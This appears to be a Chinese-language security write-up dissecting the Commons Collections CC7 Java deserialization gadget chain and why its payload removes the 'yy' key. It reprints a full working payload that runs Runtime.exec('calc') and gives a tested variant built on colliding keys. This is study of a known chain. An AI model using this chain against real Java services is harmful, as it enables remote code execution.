CC(CommonsCollections)链系列是Java安全必经之路,复习到CC7的lazyMap2.remove("yy");代码,网上文章解释的不是很清楚,不明白为什么要这样做,于是打算深入做一个分析
贴出网上广泛流传的CC第7链,笔者将带大家做个简单的回顾
xxxxxxxxxxTransformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(hashtable);oos.flush();oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();ChainedTransformer`触发点`transformpublic Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object;}链式调用中使用到InvokerTransformer的transform方法,反射调用
xxxxxxxxxxpublic Object transform(Object input) { ...... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ......LazyMap中的触发点,如果当前LazyMap中不包含传入的key才会顺利调用transform触发漏洞
xxxxxxxxxxpublic Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key);}HashTable被反序列化后的触发过程如下,遍历HashTable已有元素调用reconstitutionPut方法
xxxxxxxxxxprivate void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException{ ...... for (; elements > 0; elements--) { ("unchecked") K key = (K)s.readObject(); ("unchecked") V value = (V)s.readObject(); // sync is eliminated for performance reconstitutionPut(table, key, value); } ......}reconstitutionPut`方法如下,触发点是`e.key.equals(key)(注意这里有细节,将在后文中重点关注)
xxxxxxxxxx......int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); }}......跟入equals到达AbstractMap.equals,看到m.get(key)方法,其实是上文中的LazyMap.get,调用了transform方法,最终构造出整条链,这也是网上大部分文章所写的过程
xxxxxxxxxxpublic boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; ...... if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } ......从Payload入手分析,将空的chainedTransformer传入LazyMap中,并设置key为yy和zZ的元素
分析LazyMap源码可以看出并没有重写put,所以这里只是简单的普遍的map.put操作
xxxxxxxxxxMap lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);lazyMap2.put("zZ", 1);继续分析,往新建的HashTable中放入上文两个LazyMap
xxxxxxxxxxHashtable hashtable = new Hashtable();hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");为什么要放入两个LazyMap
首先来看HashTable.put,这里和reconstitutionPut处的代码类似,都包含了entry.key.equals(key)代码。其中key是传入的LazyMap,tab是全局的一个Entry,根据hashcode算出一个index,只有entry中有元素才会进入for循环,从而进一步触发
xxxxxxxxxxprivate transient Entry<?,?>[] table;......Entry<?,?> tab[] = table;int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;("unchecked")Entry<K,V> entry = (Entry<K,V>)tab[index];for(; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { ...... }}......所以可以看出,必须要两个或以上元素才能进入entry.key.equals(key)方法。类似地,反序列化的触发点reconstitutionPut处也是这样的逻辑,需要保证必须有两个或以上元素
进而可以得出的结论,能走到LazyMap.get方法的只有lazyMap2这一个对象
开头部分代码调试后,可以发现会执行两次LazyMap.get方法。第一次是制造反序列化对象的过程,也就是hashtable.put(lazyMap2, "test");会调用;第二次是模拟被反序列化后reconstitutionPut的调用。接下来我们针对这两次调用做深入分析
第一次调用:
注意到第一次传入的是空的一个Transformer数组
因此在transform的时候会原样返回,如果传入yy就会返回yy
xxxxxxxxxxTransformer[] fakeTransformer = new Transformer[]{};结合代码分析,当lazyMap2被put后,entry.key.equals(key)中entry.key正是lazyMap1。AbstractMap.equals方法中有部分被忽视的代码。其中i是全局变量,根据继承关系,其中正是lazyMap1保存的yy:1,所以取到的key是yy,最终在lazyMap2.get传入的是yy
xxxxxxxxxxIterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } ......进入lazyMap2,本身只有zZ:1这一个元素,不包含yy,所以成功执行transform。而上文分析传入的参数是yy所以经过transform一些系列的链式调用后返回的还是yy,将yy:yy设置到lazyMap2中,所以lazyMap2包含了:zZ:1和yy:yy(链式调用原样返回是因为传入一个空的一个Transformer数组)
xxxxxxxxxxif (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value;}后文反射设置chainedTransformer为Payload
xxxxxxxxxxField field = chainedTransformer.getClass().getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);然后将lazyMap2的yy:yy移除
xxxxxxxxxxlazyMap2.remove("yy");第二次调用:
这时候HashTable被反序列化,调用readObject方法,进入reconstitutionPut,重新看之前的代码。其中table参数是HashTable所包含的元素,由于刚被反序列化,所以不存在元素
进入reconstitutionPut的调用点,遍历获取的第一个key应该是lazyMap1->yy:1。由于tab是空,导致get操作的循环无法进入,跳到后续代码中,把lazyMap1->yy:1加入到了全局变量table
第二次循环进入reconstitutionPut,由于全局变量中已有值,所以可以调用到e.key.equals(key)方法
xxxxxxxxxx// HashTable.readObjectfor (; elements > 0; elements--) { // 遍历第一次的key是lazyMap1->yy:1 // 遍历第二次的key是lazyMap2->zZ:1(已删除yy:yy) ("unchecked") K key = (K)s.readObject(); ("unchecked") V value = (V)s.readObject(); // 第一次传入的参数是:table[]-lazyMap1->yy:1-test // 第二次传入的参数是:table["lazyMap1->yy:1"]-lazyMap2->zZ:1-test // sync is eliminated for performance reconstitutionPut(table, key, value);}
// HashTable.reconstitutionPutprivate void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException{ if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; // 第二次才会成功进入for循环 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { // e.key: lazyMap1->yy:1 // key: lazyMap2->zZ:1 if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. ("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; // 第一次会把lazyMap1->yy:1加入到全局变量table中 tab[index] = new Entry<>(hash, key, value, e); count++;
// AbstractMap.equalsEntry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false;} else { // m: lazyMap1->yy:1 // key: lazyMap2->zZ:1 if (!value.equals(m.get(key))) return false;}删除LazyMap2中key为yy的元素的根本原因是什么
观察到reconstitutionPut的代码,想要顺利执行,需要确保两个lazyMap的hashcode一致,进而index计算结果一致才可以。Java中hashcode的计算方式比较复杂,这里简单理解为:如果lazymap1和lazymap2包含相同数量的元素,并且每个元素的key和value都完全一致,那么计算得出的hashcode就相等
然而lazyMap1->yy:1和lazyMap2->zZ:1的hashcode为什么会相等呢?因为这是一处哈希碰撞,恰好而已。假设改成lazyMap2->zZ:2或lazyMap2->zZZZZ:1都会导致无法运行
xxxxxxxxxx// 根据lazyMap算出的hascodeint hash = key.hashCode();// 根据hashcode算出indexint index = (hash & 0x7FFFFFFF) % tab.length;// 如果index不合法,将不会触发后续的链for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); }}Payload中的yy和zZ能否改成其他字符串
参考问题二,要保证hashcode一致,理论上会有很多选择,实际上很难找出合适的
笔者给出一个可用的Payload,字符串AaAaAa和BBAaBB的hashcode相同,测试通过
xxxxxxxxxxMap lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);lazyMap1.put("AaAaAa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);lazyMap2.put("BBAaBB",1);......lazyMap2.remove("AaAaAa");成功触发

参考链接 https://xz.aliyun.com/t/9409#toc-7 https://cloud.tencent.com/developer/article/1809858